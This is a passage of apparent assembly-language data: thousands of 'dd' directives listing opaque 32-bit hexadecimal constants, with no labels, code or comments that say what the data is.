0DB00EF7Ch, 983B3F4Dh, 28BDC110h dd 209C76F2h, 9D1178BBh, 821586F6h, 0AE038032h, 3F8EDC1Bh dd 64A865C0h, 8396493Bh, 895D2F0Ah, 90F892EDh, 0C03182B8h dd 7DD59039h, 270029A9h, 47B9038Bh, 6B02171h, 9BE91EDEh dd 5400C1E1h, 5A70238Fh, 39EB4F5Dh, 9A9855DAh, 0EE80218Dh dd 6428140Ah, 7B198189h, 21878509h, 0F114A420h, 0D9729701h dd 0C732007Ch, 2448FF55h, 2E1408F4h, 8CC4F964h, 14EA3243h dd 3DB57890h, 0AA8B3Fh, 0F5D3A691h, 4DB075h, 69013108h dd 7FBDB318h, 0A35AD80Eh, 2FB803F2h, 6490BC41h, 75FDC9D6h dd 1B9A98DEh, 897D58Dh, 30F768F6h, 9300FD71h, 0F621F876h dd 11928D6h, 30994216h, 228138BEh, 0A46E0340h, 0A1E02C8Fh dd 10FC350Bh, 820F4F2h, 0C0AD804Ah, 0E94BC70Eh, 0B1190323h dd 38B8F05Eh, 0C8835217h, 49F6C0Bh, 37C3E400h, 0F703C813h dd 39C1D8EBh, 0E7C6D85Dh, 0BE543AAFh, 9CC45595h, 314EF82h dd 37F4B185h, 3183289Ch, 809A14E9h, 9C5333h, 0F6C886F8h dd 5782F55Ah, 385281C0h, 0D88103h, 98AA0C30h, 0DE33B215h dd 0E3837F13h, 3B00DA1Ch, 0DB83139h, 0A0CF49C0h, 0F4B20680h dd 448C3422h, 2F049684h, 0BF874BB2h, 6CE1C890h, 21D7D56h dd 5B883475h, 0CC415CF2h, 82718C2h, 4C22F3B2h, 0C157C2h dd 0C3B21091h, 38EC6A06h, 0AA04051h, 0E641488Ch, 0DD9D8680h dd 0B224515Ah, 8A113C05h, 29300296h, 3C4CF164h, 2D3B8F44h dd 0DF761487h, 7B309802h, 16144977h, 5270DF8h, 0D83EDD17h dd 28D02778h, 51501C0h, 30D15264h, 3F0F8422h, 66E514EBh dd 26A9A0DCh, 412C3A48h, 0D2B91BD3h, 82112C97h, 0E8DF1F81h dd 1BC11773h, 86687F9h, 0CE1ACA01h, 0CA9C53Bh, 0C2648845h dd 75311A0Eh, 8F1D00AAh, 0E01FAD05h, 786206E3h, 0A0300D2Fh dd 23B4E048h, 0FDCC0714h, 62CFD4C5h, 0B82D00ACh, 0B7002B1Eh dd 36C7CC1Bh, 0EF6177h, 829BB1DDh, 0A06C4468h, 338E7400h dd 0CE31F70h, 78310990h, 1B01488Bh, 802DEB59h, 1B078F38h dd 1C086914h, 316F8DAAh, 80349608h, 1B0F9220h, 0C5736DEh dd 50C7BCD1h, 9F00B071h, 0C8044793h, 8A6007h, 39DB0DB7h dd 0F03E3D06h, 188D613Fh, 8E3055F1h, 2D08CEDAh, 670D94C3h dd 34607188h, 75E9200h, 5A811FF3h, 0B56C0068h, 0CCE3273Eh dd 0EC523440h, 1B130258h, 31A867E0h, 0FB8E109Bh, 9F8B031Ah dd 0F00F4715h, 16F7391Ch, 8C426203h, 7A88A65Bh, 82B0FD7h dd 406315E1h, 8414DD6h, 12B41054h, 0ED6058BAh, 0E3EC1649h dd 0C1F11E19h, 282014FFh, 0FA2B4880h, 448C45E0h, 502496ABh dd 0F70C992Bh, 374FB199h, 8521CA43h, 0B5340059h, 5AFDBCF5h dd 5018FC3Eh, 36002570h dd 15B7441Ah, 1D237BB9h, 0AEE99DDFh, 47053BB3h, 15B1258h dd 811C567Ch, 3A119E5Dh, 95470707h, 5E6A93C0h, 764E0080h dd 2B10B762h, 0FA07D668h, 1130243Fh, 5B0AF510h, 1EB00CFh dd 0D607191Ah, 1B125617h, 44040C8h, 5CCEF54Dh, 2DFA06A9h dd 88AB6ECh, 0FF213E60h, 4ACEEBh, 19EA8D7Fh, 0EE8F7E29h dd 710090DEh, 0F380309h, 8A743A32h, 784C6200h, 0A4D8E16Ah dd 0E507A5F6h, 5D2A45E7h, 7E0CEE90h, 8141C08Eh, 0F8F37F32h dd 5A19E0E8h, 5C08AB05h, 5B4EF183h, 33D8A57Fh, 0E10AF614h dd 8880BFC9h, 0B4015640h, 0B2970050h, 0E1784783h, 1801DA28h dd 0A91F760Eh, 0D9DF5FA5h, 0F448B65Dh, 260604FDh, 82D0C312h dd 0F033ED50h, 4369151Bh, 0EAD80B0h, 3C0D401Bh, 0C9EADE44h dd 46F906FEh, 610411F7h, 0D7515750h, 785D11EBh, 217F7A7Bh dd 21C0AAF8h, 5A87F20h, 323DE1F2h, 35300079h, 0DC6897B1h dd 0CBE30B02h, 4856594Fh, 0C08C7E3Ch, 0C7148629h, 0A124F04Ch dd 5D119819h, 2D2B1387h, 0AC70585Ch, 1B9D88h, 5DE6472Bh dd 92E144F2h, 22C740A1h, 6E8B1C08h, 17186300h, 9D129DF8h dd 0B2C02D0h, 0F8294160h, 0B9189A79h, 5FAD5D18h, 3B117A9h dd 0B80C4403h, 1AC9A54Fh, 0B202546h, 0EF88C4A8h, 9A66BB30h dd 38C11103h, 1638BFDh, 6EB09969h, 0EC100988h, 0B70C5C19h dd 21618A23h, 114402A8h, 35BFF680h, 0A36BC360h, 5CAC8E50h dd 2B14028Ch, 8AE5E106h, 0A017C219h, 37952B1Ch, 93967F00h dd 4BF0E105h, 0EB6919D3h, 1821506Bh, 72B0F47h, 0C8701DE1h dd 4FB980B1h, 60BFDA2Bh, 0FB8DA30Eh, 0B7D4402Eh, 2A434EA6h dd 0F907FD6h, 0EC5981AAh, 199D2220h, 98F3BDh, 7A723146h dd 8AA923CEh, 0ED004411h, 0E15CEA5h, 4C035036h, 0C7F093C1h dd 0D721003Dh, 0CCFCA911h, 0C338E19Dh, 828C8002h, 0A7C0BF78h dd 7C0C00F5h, 41F616D3h, 0E1EAFB50h, 8A1F6E02h, 620A4FE0h dd 2481072h, 0A93311CFh, 9E4888D2h, 0DCCE81F2h, 30D2742Eh dd 37A470Ch, 4D033892h, 86D399B1h, 4FBBE843h, 129B7E31h dd 20D650E8h, 326A92A8h, 190D51C3h, 8734894Ah, 0FC075C26h dd 8694B1Ah, 0AF4098C4h, 0A77F1B04h, 743A1200h, 7174664h dd 25B602FDh, 49894FC0h, 41A7E8A0h, 85025808h, 46CD2C6Bh dd 0B58940E2h, 8D960599h, 3A29D4A8h, 24223CCh, 0E2478B52h dd 893048C6h, 0F5EC795Eh, 25A80017h, 0FCA61519h, 167735C2h dd 3A689318h, 99E35049h, 5F580CA8h, 65004A49h, 0CED4BEB0h dd 609EF8h, 14203C93h, 4EBC5630h, 5871B70Ch, 9A3182h, 542C103h dd 5187A936h, 11F50200h, 2A50CCB4h, 409358B6h, 5E5A2F00h dd 819D1E53h, 4000C8A4h, 5B50C2D4h, 906C5D9h, 818301EDh dd 0C9974090h, 208C0501h, 0C27D63ACh, 7C1C38DCh, 90B1588Bh dd 709264C0h, 0B500D4F3h, 938565B2h, 114A24h, 0F6F18DBh dd 130B4846h, 0F8439612h, 0C9F79420h, 294D0174h, 928832BBh dd 783204h, 0C9A1F99Fh, 3C41F0C3h, 5A079E4Fh, 44190BBFh dd 0E91890CEh, 0F800DD32h, 6FC9D33h, 1F18FAD7h, 0FD236FECh dd 1CB1FB0Fh, 1E0BF980h, 144C8813h, 6F63BE4h, 25C7424Eh dd 48280071h, 2E781E8Ah, 0C2049224h, 89DAED69h, 17190C8h dd 78862519h, 0FFFC5014h, 5B5AC180h, 1181CA02h, 617AC6F9h dd 0F8738DCDh, 1E32B800h, 0A2CD44E6h, 80F4F37Ch, 8148100Eh dd 0CE20720h, 4AB25E81h, 73FD6987h, 8B81922Ah, 0A74494A0h dd 1A00E678h, 0B9E39E6Dh, 2A47763Bh, 3484E704h, 8071BE66h dd 0B134E1E4h, 9FBA6B0Fh, 0DB59D88Ah, 0F37171h, 0A49472EBh dd 14E5493h, 0D3A19F01h, 0E8F946D2h, 7DEA5180h, 0FD5BF47h dd 84BE08CBh, 0D489F980h, 5F98B02Eh, 5C895718h, 3A58D61h dd 7ECDE988h, 914841C7h, 83D8054Ch, 83C08179h, 52284Bh dd 4F10830h, 9EE318F6h, 895C2Ch, 1775F240h, 0BBB05B2h dd 0C071B9DEh, 65E01CA4h, 51B72E1Eh, 3E6C6F00h, 0C206EC5h dd 39E58F60h, 0E33E9F71h, 4B2F1FB1h, 85781D19h, 69C0A457h dd 0FEAF0Ch, 0DC4B2B1Ah, 6F86452h, 0F95BF701h, 0FD3F26BBh dd 8AA2CB40h, 484D4892h, 1780D8Ch, 11E46948h, 287C2970h dd 0F4B8E0F6h, 11AE05A5h, 23EA0C47h, 92E173CCh, 3C7C3268h dd 0F80600B4h, 0D6AD1318h, 786E06B2h, 70F48B41h, 58503444h dd 7898B8E4h, 78608184h, 0F7C0C711h, 0AC2703CDh, 351285F6h dd 95CB803Ah, 3BA44889h, 0CDE40034h, 0FF8ED69Fh, 79160EB5h dd 2C60A0C2h, 56C45C33h, 8D6AB405h, 0C0208BF6h, 0D40D6Dh dd 43E4AB76h, 1D92B657h, 0FC283Dh, 0A747A385h, 3324B7C4h dd 79B1845Eh, 88C393A3h, 934F80F9h, 8A00BF5Ah, 6F431C73h dd 5870192Fh, 6F60316Ah, 0FE6BE8E0h, 907092A9h, 1AD70554h dd 40E60E47h, 935A3EA0h, 0DA0B1FD4h, 83A106EDh, 0DD0367C4h dd 85B3C3h, 0E6ABD951h, 0EEAAB1D0h, 54E09A00h, 19C8CDEBh dd 917Eh, 0ED5B5E10h, 0DA038921h, 58E7FFB2h, 20B4D40Bh dd 90450740h, 755CBF1Ah, 6D900214h, 1872C6A5h, 0EC794201h dd 0FE0A82C9h, 66B09D8h, 80C28C4Fh, 1600697Ah, 0AF221F2Bh dd 18F449E5h, 4138C81Bh, 34006EF1h, 0D527D011h, 4879B9F5h dd 241E2096h, 16F9C15Ch, 22AD5E42h, 0E641DACh, 8480A134h dd 5134CAE3h, 11E0AE59h, 74DEE8FCh, 0E1A82609h, 77111Ch dd 428C480Bh, 15043ADDh, 0A007B9BEh, 0D31D7000h, 0D5E0C6E1h dd 0A83DA101h, 8BF77FDDh, 0A002022h, 19642E7Eh, 1A0060AEh dd 4CDAA0CAh, 0F21E70EEh, 20844ADBh, 0E199D150h, 548BD725h dd 1821389h, 8113F01Ch, 5F918084h, 0FE1D26DBh, 0C5EA0198h dd 1C48A833h, 9720705Ch, 8AB28412h, 21EB1490h, 332A0576h dd 513D2Bh, 0E9E8EB9h, 0B40F4E30h, 505573h, 4340C014h dd 389899E3h, 1B7B1502h, 908E7191h, 1E02600h, 37610293h dd 8DE150B1h, 36EB3180h, 20432BCEh, 3370B0A0h, 309CDCECh dd 0B25DE084h, 290764B3h, 0CFC60C44h, 6FED0960h, 8001AA6Ah dd 0FCE9734Ch, 0CC437901h, 0DCB2E457h, 5216AF01h, 0E1CF29EDh dd 1E8BD411h, 0D125B200h, 0FB58B64Eh, 0F93A2C06h, 8EA1630h dd 8E923888h, 67BF0820h, 55810B5Ah, 8C0057C6h, 476B7263h dd 0C0D0E14Ch, 98D986A3h, 0C0516214h, 8A295EACh, 0B42642B4h dd 28120796h, 74AFD831h, 0BB5D2F4h, 0A82E9C8Ah, 0F1C17980h dd 620F54C6h, 736BB7h, 37D90A23h, 1577027Dh, 5E7E1C82h dd 4B6A98A0h, 4500869Dh, 2CE83E39h, 0EB5F251h, 0AC06A6C1h dd 886C8C82h, 453C7CE6h, 750F7086h, 8066ABD7h, 0C869EC91h dd 1693063Eh, 0C15D8C33h, 0E49F2100h, 3950F855h, 0F31D0F09h dd 0D6F952h, 97EC1E0Ch, 0A8FEB734h, 7324881Ch, 2020B0ECh dd 74FE0E00h, 0D6E1BFAAh, 6688C82Fh, 15C0BA80h, 32CD773h dd 5DC4CE5Fh, 64D97247h, 835072EEh, 0E7C52D6Eh, 2764D601h dd 7DFAB1E0h, 0FCEF4446h, 6C24B300h, 92D78126h, 3A7A0035h dd 0E0663CD6h, 414948Bh, 60F84189h, 287A01C0h, 9874B069h dd 34035860h, 30645089h, 89594A0Ch, 48D165h, 0E447BFD1h dd 53B2D4CAh, 64E7E301h, 0CF37ED0Dh, 0EC6259C1h, 0D9DD4500h dd 0ADA7702Bh, 27020E12h, 0B6CA9003h, 0C7300E2Ch, 2B15E32h dd 2BA3FFA6h, 0B734404Ah, 0E2F03993h, 4405C0D8h, 803EA984h dd 0CBD9FA98h, 0B71FADE0h, 67ABF2Eh, 2B6C901Bh, 130F00C1h dd 0ABFCD68Fh dd 79067047h, 2A519280h, 140D0021h, 0D9B16DF3h, 5801F8E1h dd 4351AAF6h, 0A85071DDh, 918BFC41h, 251364h, 0DDAC8AD3h dd 19009FB1h, 74CADAA9h, 28470F3h, 476DC0C8h, 247A5A17h dd 88D0BB00h, 0A8CA3EECh, 0A0510372h, 9CD17C0Bh, 6A7867D8h dd 1ECA25Ch, 0B70AAEBFh, 0DAC8FC06h, 0E1EB0412h, 99EF57B2h dd 0CF0440A0h, 812A9CB1h, 0FD01D086h, 13C56CDh, 5BDCAB74h dd 0EAD424D5h, 97E1F50h, 68185886h, 0D5018E59h, 0DB76CC21h dd 0D4FB6622h, 10C174C4h, 0FFF5143Dh, 84052C70h, 3A104D48h dd 0D189E55Dh, 0E076C780h, 5AA50183h, 0F48C91A6h, 0C7AC404Eh dd 9E80BD7h, 71AA9A12h, 51804407h, 54A46744h, 9147608Eh dd 0CD06D89Dh, 831E3A02h, 602A2621h, 7D5059h, 874FB178h dd 6B4716Bh, 0E18D202h, 0C2149182h, 0B98852DCh, 2DCC01ACh dd 30B13C8Bh, 0C501BB97h, 0FC917E1Bh, 0EC2893DFh, 0D6025F00h dd 5739474Dh, 941EE809h, 3804413h, 29BC0E91h, 0B2D2DE2Ch dd 0DCE9CC69h, 4A00705Bh, 0E0CF6E6Dh, 0B69081h, 7530EB88h dd 7F0316CEh, 0C976F670h, 0D4D63904h, 88C369B4h, 605494ABh dd 0B55CF90Ah, 2922018Ch, 4186E105h, 307028ECh, 4B0038E1h dd 0B7A76240h, 0ED2F753h, 34FA61Ah, 81E2F485h, 24827CE0h dd 0E1888ED4h, 304E61C7h, 0CC1EB2BEh, 0F103E85Dh, 0E4C47219h dd 0A0C2DB61h, 6842AF2h, 0F9814E94h, 0C661207Ch, 1EA54918h dd 74D7F8h, 0DFDC8F61h, 0FF08F85Eh, 0BCEAA600h, 0C1D93DCAh dd 87110C41h, 3828735Ch, 0D1183Dh, 7D5448E4h, 0A04CCFACh dd 6273F2h, 8B6C100Eh, 707BB152h, 32E3AA06h, 802354h, 0B6C4188Ch dd 0EEA7F521h, 81988578h, 3A3833Eh, 0DF7D57BEh, 4768038Ah dd 4477CB90h, 0F2877818h, 0CF52A9h, 0B938AF2Ah, 2E03F7C9h dd 0CD00807Bh, 449AFCD5h, 0E19F6D0h, 18B64C89h, 0AE9CF281h dd 80E631D6h, 812EE7A9h, 1135798h, 319485A7h, 30569DD6h dd 0F21F3225h, 0C80CEDCDh, 0F261306Dh, 0ECA4034Ch, 0E43EBF03h dd 85EB24A8h, 913D9B18h, 0B913B1h, 0D4CE0926h, 68D276DEh dd 0AE3C200h, 0C360F1BCh, 84F20C35h, 0B7894BCEh, 0BA764200h dd 1DADC834h, 55B0C0BCh, 63A49B41h, 0E04AD4A1h, 0EC44E651h dd 7183603Ch, 0A25CFC92h, 0AD453000h, 5BF6873Fh, 3A503F9Dh dd 69B2C102h, 586196BCh, 62C98E78h, 3EE2941Ah, 8081BC8Eh dd 11AE2294h, 0C063EBD6h, 13597358h, 69C06B3Ch, 0FA519B1Dh dd 67600E4h, 0A84D1F3Dh, 9A04A9FEh, 1388C242h, 81702C81h dd 0E8A081D2h, 18245987h, 0BA9F077Ah, 90A69D86h, 4FC3C70Eh dd 3839B48h, 8505EA7Ch, 617900E3h, 0AAEF63B6h, 3E009741h dd 0D35ECFEh, 2AE8A7CFh, 9C44CCh, 0AB60A457h, 0F781EFD9h dd 0B836A303h, 328833Fh, 596E9E10h, 310053D2h, 5C4265FCh dd 7E1F0ECh, 0A51B601Eh, 19C5F009h, 7E7582DFh, 9B47B1C7h dd 0DE2B4B50h, 999F606Bh, 157F22E7h, 2F557200h, 46DCC375h dd 9043F23Dh, 63A276CDh, 6C6E417Ah, 7D7795C8h, 980031F0h dd 0AACC5EE6h, 0CF5D8B4Ah, 20407F69h, 0A39914A7h, 0E2B84B00h dd 9EA5C19Dh, 73571CBDh, 0EB8BCA3Ch, 7C3A80FCh, 4855D3FDh dd 7A9A6603h, 9CCB2BC1h, 0AF8F9980h, 7D530C31h, 0FA8982D8h dd 0B6AE7905h, 0CC0118ACh, 5C847C36h, 1DB51C10h, 6FE04D4Ah dd 5D6150Eh, 4C14C438h, 3C183CF3h, 68DB5184h, 0A13AAF00h dd 0C26354D7h, 6E07BD0h, 3C2F5DEDh, 8400296Dh, 71FE9020h dd 13B955F8h, 1D9D2Ch, 0D7945D00h, 0CCA84EEEh, 0B0A97266h dd 8AB2F021h, 0B9A9D600h, 805AF0Dh, 3F189856h, 3CA9F9BCh dd 6ED300B0h, 1DE3ABECh, 0C27B6F00h, 44D8B201h, 0F08430FBh dd 16355CB9h, 8632120Fh, 37BE6006h, 30484756h, 8D8151CDh dd 2100AF5Fh, 0E5D6B4Ch, 4DEFD19h, 46F5E604h, 0A2008C62h dd 80D3F83Eh, 21B4902Dh, 0F608813Ah, 9D7B06E7h, 79F18476h dd 8DBD9800h, 0F7D550BCh, 0D3EE0F25h, 0CD0555B9h, 0D4B04735h dd 0EDAFD05Dh, 6005EE2h, 0CF68D015h, 39F3D63h, 9D056D10h dd 72F89C84h, 0BAA0CDBFh, 7D078CB5h, 93C8C18Eh, 947EF83h dd 0DA0899C9h, 0DB7EFA02h, 0D233DC44h, 0E07B2146h, 92594B9h dd 10BE8907h, 0FCC5D803h, 0FEB88EE0h, 0D2527098h, 0AAD300CCh dd 0D127799Ch, 6F393BD6h, 2C00674Ch, 0FF914193h, 5D03C40Ch dd 94B53DF2h, 842EA8E7h, 987954E1h, 33160EECh, 9E81BD3Fh dd 0F830E7F4h, 21C37169h, 0C0A70A17h, 98BC0Dh, 81C7DE9Ah dd 4D2D06B9h, 740329F2h, 0C46BB348h, 74FEBDAh, 0A493CBE6h dd 53A9DCCCh, 0A26E7000h, 0E6EA3D49h, 54A57559h, 9C806Ch dd 0FD7DE4B1h, 0E2A6ED80h, 0A449CD07h, 0E11F4A9Eh, 0C419FE2Ch dd 0F8E569C4h, 107860F9h, 86C58464h, 20B0B505h, 8C21F7D6h dd 0C1806769h, 9E0137F2h, 3004E650h, 489AF199h, 473DC5AAh dd 50F9B9B0h, 804215ECh, 905E3C05h, 68928BC9h, 9138C1AFh dd 1C24DAE1h, 304B00E9h, 9FD7DB55h, 0C903864Ch, 0CE9AF283h dd 89810049h, 93A6B329h, 0A700EA8Fh, 242DECFFh, 7E5711Eh dd 215578B0h, 86D110DFh, 88984F9Fh, 0EA88F90Eh, 0E598080h dd 0C0E12215h, 0F198B1E2h, 0E300502Ah, 9C513F85h, 305FA7BCh dd 0E7E98A66h, 0C500F9EBh, 225B2428h, 95267Dh, 9DCA5EC3h dd 6E350A7Bh, 14F28100h, 820CFC3Ch, 0E09600E2h, 0DDA1A993h dd 693090ECh, 0EE035173h, 98BC7BBDh, 0EAAF014Eh, 7DA00983h dd 478450DBh, 501953Dh, 4B1ACCC4h, 0D860209Fh, 0E3680070h dd 75660C2Dh, 0ED48D7CFh, 4E988080h, 1E1183h, 0A3F814E5h dd 0E35C967Dh, 6BA9E2Ch, 0F7D7D103h, 8131004Dh, 4B5534ECh dd 0F401BF1Fh, 0E2A56886h, 5EF024E3h, 0B9721F99h, 0D16405F7h dd 69C021CCh, 0EF3D601Eh, 3B4B2706h, 78D96466h, 1980049h dd 3C5E3341h, 4A24AEE1h, 0BF0528FCh, 7CC02526h, 12E0DE55h dd 427CDF5h, 28F3A2Ch, 0F21F04Ch, 18400012h, 1091F109h dd 9C81AF00h, 0FD8AD7F3h, 0B8020512h, 8884F857h, 2B25F2B0h dd 94D863h, 0CD8C195Ah, 849FE5C1h, 38B9BA6Ah, 8B80F494h dd 40089269h, 0F635ED6h, 835FAF01h, 80C4D40Ah, 88C55877h dd 94380CA3h, 0B99000FAh, 5503EF6h, 4A2C9018h, 76382379h dd 0E7D351DBh, 83F412Ch, 1B7F6B40h, 222F2511h, 69883810h dd 286D2700h, 0CFE5EF35h, 3E48245Eh, 0B4A30579h, 0E874C83Dh dd 54869F03h, 0C06E841Fh, 7EDAC5Ah, 0A8874F14h, 719FA1F4h dd 7B403033h, 9A7AF88h, 25E58357h, 3F30A482h, 0B6000C64h dd 9DEC4286h, 3B8EA0B1h, 6863763h, 41F2513Ch, 0F4DE8F0Bh dd 1888905Eh, 2D580162h, 0CBF78C54h, 6B347020h, 0CF0F8508h dd 0C73E8049h, 7270BD2Ah, 9CE2E700h, 964D6D8Fh, 850816CFh dd 5010194h, 21F79EF5h, 0DA92F438h, 3DDCB00Ch, 0C8A178h dd 0E46F1FF9h, 11D276D3h, 86EBF700h, 0A55D196Bh, 0CF74AB85h dd 94E64970h, 246092A4h, 60E058AFh, 7CD8E4F1h, 3106F05h dd 0CC008C1h, 2B05B92h, 0CD1241B5h, 0DC40818Eh, 2D4CC857h dd 3DEA794Ch, 5400E0A4h, 0D5517880h, 98CC1C9h, 0D236DCBCh dd 0D3D0B080h, 0DF0A5B53h, 8450F4D7h, 6880F8A9h, 0A6F8AF7Bh dd 6053005Bh, 510F836Dh, 5428A50Dh, 2300146Bh, 9BC1553Ah dd 1C1B9AABh, 125B44C9h, 96CC01A3h, 29CFF345h, 1643A9Ch dd 0C275B761h, 87304382h, 0BFA30AB2h, 0BCE02686h, 0F8285300h dd 36E3DB2Eh dd 0FF0C0A05h, 482AED6h, 0DC51A1h, 16DF24Dh, 0FB266C75h dd 761FF828h, 30D99080h, 1998590Ch, 384D16E4h, 0AC083Ch dd 179226B8h, 4A73A087h, 48D95100h, 39253049h, 7EC716BFh dd 0D8C83771h, 0D41A8C81h, 2D619E78h, 0AF2E4ECh, 6CCC8322h dd 50949588h, 0D9E89600h, 0F5FA76D1h, 24DDFD00h, 63C4B99Ch dd 9B171385h, 0B43401C5h, 0F886A25Ah, 4812555Dh, 60D0E083h dd 0FA85A4AFh, 44AD4849h, 6C33E97Ch, 0BBE077Dh, 801EB12Fh dd 93439CE1h, 2E983E63h, 14ECA050h, 25C1EC2Ch, 0AC20CFA4h dd 86E6035Ch, 7E36B100h, 515D3879h, 0E1430011h, 625CC460h dd 0E005DA5Ah, 6646A405h, 0CB8088h, 5D92F323h, 0D83CFAB8h dd 0CDE9FE00h, 52ECBE77h, 8B621C67h, 53F393ACh, 57FF0018h dd 0A125A96Ah, 9F075CF6h, 0F4A7C130h, 84D64AF3h, 0ADE10B4h dd 0A5EA9C8Ch, 4E0200B6h, 0BA85AAC1h, 809C7A48h, 0F391538Fh dd 45AE023Eh, 0CB905994h, 500F1080h, 9C01E338h, 0DC6BC8DDh dd 3862F6D7h, 5A948100h, 0E8878363h, 9B5A1C0h, 0FA2752C6h dd 7E9B3EFAh, 414DAEh, 53324511h, 0AE00B8C7h, 0C3C56462h dd 9983CD5h, 3EBE6DE1h, 0B0ADA481h, 8ECEF874h, 3BAE8314h dd 842C0BC0h, 0AFAC90CDh, 5CF87874h, 4C228434h, 0D6894300h dd 8AF0EA87h, 5C9C0379h, 14E6B3EDh, 804505E1h, 252D4C29h dd 60875B54h, 0B4A9B9DEh, 0B1007E30h, 0AE24B7EFh, 90CDC56Bh dd 4817C35h, 97A2D08Eh, 0BC2CB43Dh, 392D0300h, 34839D17h dd 55330ED0h, 80807DB6h, 0F201B5D7h, 0A8584C34h, 7954D002h dd 3D8C6DEh, 0B23CECE7h, 6EA30CEEh, 0FEB35900h, 98DFCB74h dd 7B122C5Bh, 0BE36054h, 100967C3h, 84F63091h, 0E4A4CC78h dd 0FD9D1346h, 21970095h, 0C8A10719h, 0A997DA00h, 0C4343FCAh dd 31E200D6h, 98D0369Bh, 0B3075420h, 0DEB5AC07h, 50C0BD87h dd 604CEC8Ch, 0C31D11CBh, 874C5204h, 430C7C8Eh, 402DB57Ah dd 0A2950BBDh, 0B6841478h, 0B500EEC9h, 0E14F1604h, 69A76019h dd 0F220EF1Ah, 0E27FAE1Eh, 0DD199598h, 0A41204A7h, 8024FFACh dd 65BC033Bh, 2A43DB01h, 0CC4C0D22h, 0C79E8983h, 0D7B08869h dd 99048795h, 0D19D15A8h, 29784E0Fh, 0BF004F54h, 0E8FDE6FCh dd 1BCFABBCh, 30099E04h, 0F0BD7907h, 119C43E2h, 30051D0Dh dd 7C2A0Fh, 7D17805Dh, 66B36CD7h, 0C878CD30h, 0C8280Bh dd 4643FBAh, 0BCA82C17h, 3948C9h, 14117DAFh, 1A843C5Bh dd 1CE4A280h, 9F9A1208h, 0F5719E60h, 8A14E2h, 0A88F429Ch dd 0DD91121Fh, 0A7DC9203h, 99B20Fh, 85DA7AD9h, 0D2BBD53Eh dd 2580515Bh, 0E074C3h, 799D1427h, 0FAA78F3Fh, 0EC1AA407h dd 0BC807DE7h, 0C0A634E2h, 3D728271h, 0DB00333Bh, 63541A3Fh dd 5DD0488h, 12A81903h, 2B8C402Ch, 441A7A1Ch, 92D81F00h dd 0B527B034h, 0BCF93990h, 7A7C8982h, 1844D3ACh, 53343E00h dd 0C3E6FDF4h, 13492BAh, 201D2D05h, 50AA2A3Bh, 6D560190h dd 83754C3Ch, 0ABAC9BEDh, 9465C0DDh, 1E63C09h, 920BE78Fh dd 4306B9B8h, 63AAF000h, 862220FBh, 1FF60745h, 0C68A09h dd 1D0F05E2h, 574E1A00h, 23B5471Bh, 4CA41901h, 30F4A1EEh dd 6C173598h, 140C8A3h, 2B0B0EFEh, 68730E7Fh, 0E9CCACEAh dd 9271B031h, 66EB81C7h, 6322ED00h, 7F90A78h, 901A02h dd 1B6C65ECh, 0A4535680h, 7B9400D8h, 8CA2A05Dh, 9AB00E9h dd 0A1430AD8h, 0DE00B8D7h, 0DD4B3659h, 189030B6h, 79DF4D56h dd 0B1FAEA31h, 82F7FA00h, 92E23211h, 0A82C7AF0h, 73BCAA0h dd 71FE4410h, 0B715E14Ah, 8083FEDEh, 0B5F2475Ch, 24194480h dd 850132EAh, 0C97B7535h, 82DCD4C7h, 0A5E70727h, 2E9E280h dd 442B4DCh, 0C7340C84h, 0ACA2803Bh, 99C0D0AEh, 1D74E9FFh dd 62270EF4h, 0EF23D8FDh, 2100E44Ch, 18CFF02Dh, 0C046DBh dd 29A38A60h, 0F588B0Bh, 4FB3302h, 98EB2EE5h, 0CE3EACh dd 0ECF26AA4h, 4E68C413h, 7C38C950h, 0AA53040Fh, 0B1E5002Ch dd 18DDE37Ah, 41939FC5h, 100E7F6h, 7CF889B0h, 207BB5A0h dd 0D060CC29h, 4ACBC286h, 1A37002Bh, 1834FFF4h, 3E00C705h dd 0C820ADA4h, 0C676DE2h, 9F92B2D4h, 50002359h, 0F08A51F2h dd 7590468h, 70ED919h, 0C9BD30B3h, 0BC5449A6h, 797718C8h dd 0B50DB40Ah, 0D380BCAFh, 0C089D65Eh, 6B0200D0h, 127B3FBh dd 0F0E6FEB8h, 0AF0CF898h, 0F1DDB5ABh, 2264013Eh, 0B9929916h dd 8888335h, 0B7AF86F9h, 1D104F77h, 0F59084h, 0C3158AF4h dd 6BBB258Bh, 3FE4EE00h, 0A514DC61h, 0C9B86092h, 0BCB664Eh dd 0E060852Eh, 0D7463100h, 0F5F4ADh, 0DFF3DB20h, 3584AE91h dd 4316B000h, 26A80A03h, 0B5FCA850h, 9AA00422h, 8890EA06h dd 0F800A6C8h, 97218671h, 2BECDD3h, 468C6BDBh, 0F840A004h dd 0E1C89B5Eh, 824A87D3h, 4D1180EBh, 1200A6EEh, 523DDC71h dd 1F9BB168h, 983A38E5h, 0EE2D31E2h, 4111F000h, 0A8B6750Eh dd 1B302A3h, 0ABB2EB5Eh, 517BB4A3h, 0DC163498h, 32192300h dd 376C1AFEh, 99050E3Dh, 0BB2268FCh, 40642CA6h, 0C05A3200h dd 0DCEE3E59h, 877802h, 0A860F9C2h, 20F7D764h, 36E1680Ah dd 0B28CC4B7h, 0EC0871A4h, 71DD008Bh, 0B01CAD99h, 19020B1Dh dd 76FE66B9h, 0BBAC60CFh, 3A70A9h, 0AC54F7F0h, 0B22A575Ah dd 8E2C81C0h, 3E1DAFDFh, 0E3A6B392h, 0DB370058h, 67C1FCB7h dd 2CA6A339h, 2200840Fh, 56F7C031h, 0DA0C3A70h, 2E47F17h dd 0A8AC8AF0h, 6F052046h, 34E1168Fh, 1813EC88h, 79B42C43h dd 6000C9C7h, 4611D342h, 16B97DDEh, 303DE28Ch, 0F96DEED0h dd 9B884702h, 2B1EA8h, 0AD12AFBDh, 56F0DC02h, 904E3A81h dd 3B8DC7D4h, 99816A3Ch, 0EAAB056Eh, 6908205Dh, 0DF36D09h dd 0A98C9897h, 3F1AF0CBh, 9200CFC3h, 0C845B48Dh, 33009015h dd 2A4B73EFh, 0C3E14DF2h, 4A7C3161h, 0CC515BE8h, 223439h dd 0AFBFADAAh, 0C0D64D24h, 957D7E29h, 4572D83Ah, 0FE050F76h dd 0A92A3E3Ch, 0F9DA8040h, 8817D1h, 0B72BAE89h, 0E611AF5Ah dd 440C204h, 78805E96h, 76DD74FAh, 501320E0h, 2B0BD49h dd 929F2C05h, 5F5827ABh, 6E3760E0h, 0C376A0E6h, 0A1794100h dd 357D8B4Eh, 1AAA000Ch, 78F68CB2h, 84A89AB5h, 0AE00310Fh dd 8810BA9Dh, 1D5296h, 856B70B1h, 115DE5EBh, 4DF01708h dd 0A19680EDh, 0A41E12BCh, 311F2E1Eh, 0BF6FEB47h, 